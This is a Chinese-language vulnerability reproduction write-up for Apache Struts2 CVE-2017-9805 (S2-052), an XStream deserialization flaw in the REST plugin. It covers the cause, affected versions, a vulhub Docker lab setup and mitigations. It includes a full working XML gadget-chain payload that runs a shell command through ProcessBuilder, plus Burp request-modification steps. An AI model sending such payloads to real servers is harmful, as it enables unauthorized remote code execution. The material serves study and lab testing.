Apache struts2遠端命令執行_CVE-2017-9805(S2-052)漏洞復現
一、漏洞概述
Apache Struts2的REST外掛存在遠端程式碼執行的高危漏洞,Struts2 REST外掛的XStream外掛的XStream元件存在反序列化漏洞,使用XStream元件對XML格式的資料包進行反序列化操作時,未對資料內容進行有效驗證,存在安全隱患,可被遠端攻擊。
二、漏洞原理
Struts2-Rest-Plugin是讓Struts2能夠實現Restful API的一個外掛,其根據Content-Type或URI副檔名來判斷使用者傳入的資料包型別,有如下對映表:
副檔名 |
Content-Type |
解析方法 |
xml |
Application/xml |
xstream |
json |
Application/json |
Jsonlib或jackson |
xhtml |
Application/xhtml+xml |
無 |
無 |
Application/x-www-form-urlencoded |
無 |
無 |
Multipart/form-data |
無 |
Jsonlib無法引入任意物件,而xstream在預設情況下是可以引入任意物件的(針對1.5.x以前的版本),方法就是直接通過xml的tag指定需要例項化的類名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以,我們可以通過反序列化引入任意類造成遠端命令執行漏洞,只需要找到一個在Struts2庫中適用的gedget。
三、漏洞影響版本
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
四、漏洞環境搭建以及復現
1、利用docker搭建vulhub漏洞環境
docker-compose up -d
2、啟動環境後,訪問http://172.17.0.1:8080/orders.xhtml,可以看到showcase頁面。
3、由於rest-plugin會根據URI副檔名或 Content-Type來判斷解析方法, 所以我們只需要修改orders.xhtml或修改Content-Type頭為application/xml,即可在Body中傳遞XML資料。
3.1點選一個edit進行編譯頁面,burpsuit抓包
3.2修改資料包,構造資料包
將Content-Type:application/x-www-form-urlencoded修改為:Content-Type:application/xml
Post資料修改成:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/test.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
4、可以看到響應500狀態碼,不過還是成功了
5、在目標執行docker-compose exec struts2 ls /tmp/ 檢視是否成功執行touch命令
五、漏洞防禦
1、 升級版本
2、 刪除Struts2 REST外掛,或僅限於伺服器普通頁面和jsons:
<constant name=”struts.action.extension” value=”xhtml,json”/>
3、限制服務端擴充套件型別,刪除XML支援。
---------------------------------------------------------------------------------------------------------------------
參考連結:https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md